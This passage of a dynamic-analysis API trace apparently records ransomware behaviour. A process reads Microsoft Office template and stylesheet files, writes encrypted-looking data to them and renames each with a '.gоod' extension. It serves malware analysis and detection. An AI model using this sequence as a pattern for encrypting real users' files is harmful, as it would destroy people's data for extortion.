ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8cd4264e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc1a7)) returned 1 [0242.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0242.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx.gоod")) returned 1 [0242.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0242.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), fInfoLevelId=0x0, lpFileInformation=0x38f43e8 | out: lpFileInformation=0x38f43e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9420)) returned 1 [0242.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0242.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0242.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.629] GetFileType (hFile=0x824) returned 0x1 [0242.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0242.629] GetFileType (hFile=0x824) returned 0x1 [0242.629] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0242.630] ReadFile (in: hFile=0x824, lpBuffer=0x38f4810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38f4810*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0242.630] CloseHandle (hObject=0x824) returned 1 [0242.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0242.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.631] GetFileType (hFile=0x824) returned 0x1 [0242.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0242.631] GetFileType (hFile=0x824) returned 0x1 [0242.631] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x9420 [0242.631] WriteFile (in: hFile=0x824, lpBuffer=0x38f64b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38f64b8*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0242.632] CloseHandle (hObject=0x824) returned 1 [0242.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0242.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.632] GetFileType (hFile=0x824) returned 0x1 [0242.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0242.632] GetFileType (hFile=0x824) returned 0x1 [0242.632] ReadFile (in: hFile=0x824, lpBuffer=0x38f88f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38f88f0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0242.662] CloseHandle (hObject=0x824) returned 1 [0242.662] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0242.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.663] GetFileType (hFile=0x824) returned 0x1 [0242.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0242.663] GetFileType (hFile=0x824) returned 0x1 [0242.663] WriteFile (in: hFile=0x824, lpBuffer=0x38f7640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x38f7640*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0242.663] CloseHandle (hObject=0x824) returned 1 [0242.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx", lpFilePart=0x0) returned 0x46 [0242.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.gоod", lpFilePart=0x0) returned 0x4b [0242.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0242.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaee2894, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaee2894, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8cd8ea46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9430)) returned 1 [0242.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0242.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx.gоod")) returned 1 [0242.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", lpFilePart=0x0) returned 0x41 [0242.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0242.947] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), fInfoLevelId=0x0, lpFileInformation=0x3a55e48 | out: lpFileInformation=0x3a55e48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x47e33aa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47e33aa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x47e33aa, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0242.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0242.947] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", lpFilePart=0x0) returned 0x41 [0242.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0242.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.947] GetFileType (hFile=0x824) returned 0x1 [0242.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0242.948] GetFileType (hFile=0x824) returned 0x1 [0242.948] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0242.948] ReadFile (in: hFile=0x824, lpBuffer=0x3a56e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3a56e60*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0242.949] CloseHandle (hObject=0x824) returned 1 [0242.976] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", lpFilePart=0x0) returned 0x41 [0242.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0242.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.977] GetFileType (hFile=0x824) returned 0x1 [0242.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0242.977] GetFileType (hFile=0x824) returned 0x1 [0242.977] WriteFile (in: hFile=0x824, lpBuffer=0x3ad25f0*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3ad25f0*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0242.978] CloseHandle (hObject=0x824) returned 1 [0242.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS", lpFilePart=0x0) returned 0x41 [0242.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.gоod", lpFilePart=0x0) returned 0x46 [0242.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0242.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e33aa, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x47e33aa, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8d0afce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0242.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0242.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css.gоod")) returned 1 [0242.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", lpFilePart=0x0) returned 0x3e [0242.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0242.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), fInfoLevelId=0x0, lpFileInformation=0x3ad3ae8 | out: lpFileInformation=0x3ad3ae8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4809621, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0242.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0242.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", lpFilePart=0x0) returned 0x3e [0242.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0242.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0242.980] GetFileType (hFile=0x824) returned 0x1 [0242.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0242.980] GetFileType (hFile=0x824) returned 0x1 [0242.980] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0242.980] ReadFile (in: hFile=0x824, lpBuffer=0x3ad4ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3ad4ae0*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0243.155] CloseHandle (hObject=0x824) returned 1 [0243.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", lpFilePart=0x0) returned 0x3e [0243.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0243.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.298] GetFileType (hFile=0x858) returned 0x1 [0244.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0244.298] GetFileType (hFile=0x858) returned 0x1 [0244.298] WriteFile (in: hFile=0x858, lpBuffer=0x3c68908*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3c68908*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0244.298] CloseHandle (hObject=0x858) returned 1 [0244.298] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", lpFilePart=0x0) returned 0x3e [0244.298] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.gоod", lpFilePart=0x0) returned 0x43 [0244.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0244.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8dd48076, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0244.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0244.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css.gоod")) returned 1 [0244.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0244.299] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), fInfoLevelId=0x0, lpFileInformation=0x3c69b68 | out: lpFileInformation=0x3c69b68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38d65f7, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x38d65f7, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4809621, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4b7b8)) returned 1 [0244.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0244.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0244.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.301] GetFileType (hFile=0x858) returned 0x1 [0244.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0244.301] GetFileType (hFile=0x858) returned 0x1 [0244.301] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0244.301] ReadFile (in: hFile=0x858, lpBuffer=0x3c69f50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3c69f50*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0244.302] CloseHandle (hObject=0x858) returned 1 [0244.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0244.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.302] GetFileType (hFile=0x858) returned 0x1 [0244.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0244.302] GetFileType (hFile=0x858) returned 0x1 [0244.302] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4b7b8 [0244.302] WriteFile (in: hFile=0x858, lpBuffer=0x3c6c9b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3c6c9b0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0244.303] CloseHandle (hObject=0x858) returned 1 [0244.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0244.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.303] GetFileType (hFile=0x858) returned 0x1 [0244.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0244.303] GetFileType (hFile=0x858) returned 0x1 [0244.303] ReadFile (in: hFile=0x858, lpBuffer=0x3c6f128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3c6f128*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0244.908] CloseHandle (hObject=0x858) returned 1 [0244.908] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", lpFilePart=0x0) returned 0x3e [0244.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0244.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0244.909] GetFileType (hFile=0x858) returned 0x1 [0244.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0244.909] GetFileType (hFile=0x858) returned 0x1 [0244.909] WriteFile (in: hFile=0x858, lpBuffer=0x38dbc80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x38dbc80*, 